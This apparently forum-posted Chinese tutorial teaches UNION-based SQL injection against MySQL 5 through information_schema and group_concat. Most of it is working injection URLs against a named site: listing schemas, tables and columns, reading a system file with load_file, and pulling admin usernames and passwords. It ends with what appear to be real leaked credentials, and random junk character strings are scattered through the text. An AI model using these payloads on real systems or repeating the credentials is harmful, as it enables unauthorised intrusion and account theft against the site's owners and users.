此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似8 q, B1 Z6 {* x
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人' |9 P; A7 M- W8 t! F" V4 f
& k! @# s6 W# H* o8 K r( q( v+ f S$ M& r( U
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
# d& f# ?0 G3 I4 @; [
# X* s$ g! f* z% a! O6 m缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
4 G; v3 X- v3 @" U: Y# e' w
' ]' l, z, y& a U, r$ v8 V S下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
; n: i4 j; G1 s( [, v; X4 n6 a在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
+ w8 W4 t6 n& X2 T+ m3 G# N% s% e, F# C4 |( }- S4 a3 x. c
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
5 s2 n$ K9 ?: h2 i( D( P7 y6 F0 N9 d1 a8 f! S8 l( Y( a+ o& `2 B
读出所有库:
% K; v0 a" p5 J* A$ Q& r# khttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA$ C& {( q' {6 L5 s) ^3 ~# A
7 i) u7 y- n9 z j6 {
! d3 W# a0 t) e* G5 l9 w! \$ i" |1 X2 a# S' s p
读出所有表:$ a3 a! I; O d+ X2 X5 k" T
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
& z) u5 R% |2 `; r. u/ b
3 N. c# k( K3 ]读出所有表字段:
X0 i, u: ]& Bhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)5 g7 b3 K( \2 l
*/ (97,100,109,105,110)为admin的ascii码 依次类推
+ ]7 B- K* `" [* S/ f
0 S- M# V/ |" h% T% v* ^6 q7 C9 i读出所有表字段里的内容:& }8 ^' D( C. d0 x( ~: K
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin# R7 @6 x( w6 d7 S% p
( q/ a4 L( {) P' U: l% b9 h3 [
% ~, [* O) _' m" n8 G4 U5 n* A e, E/ l! r; y6 x Y0 X0 ^3 K4 X
& X1 E/ F1 E' M9 t5 T8 F |
5 g+ C7 C# w' r) O+ K4 O
4 M9 G+ Y. X* x) N$ ~" ~http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
6 l1 x% y3 x; |/ Z0 x8 |- q' I2 T3 T }+ J0 i
- P) U0 l8 M# b# F8 A; Y
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
# Z) @, G5 E8 ^) b/ [" r' I. W Z
. M- h7 k' [ F1 l6 @! @http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23/ O1 A- \& T) ~" Y& K6 q7 N; y
* a {) P. ?' Q, X" V+ V: H
' f" U% j- b. l7 b: I2 Fhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
+ t$ D; k" M# J6 I; T& ]4 K8 `- q7 ?; a% P0 t C4 L3 G# o
+ V& Z# K8 G/ e; F, ^
webmaster:dzb521123,simlab:simadmin20043233# j! B! R" w3 J3 ~& e+ Q ^
|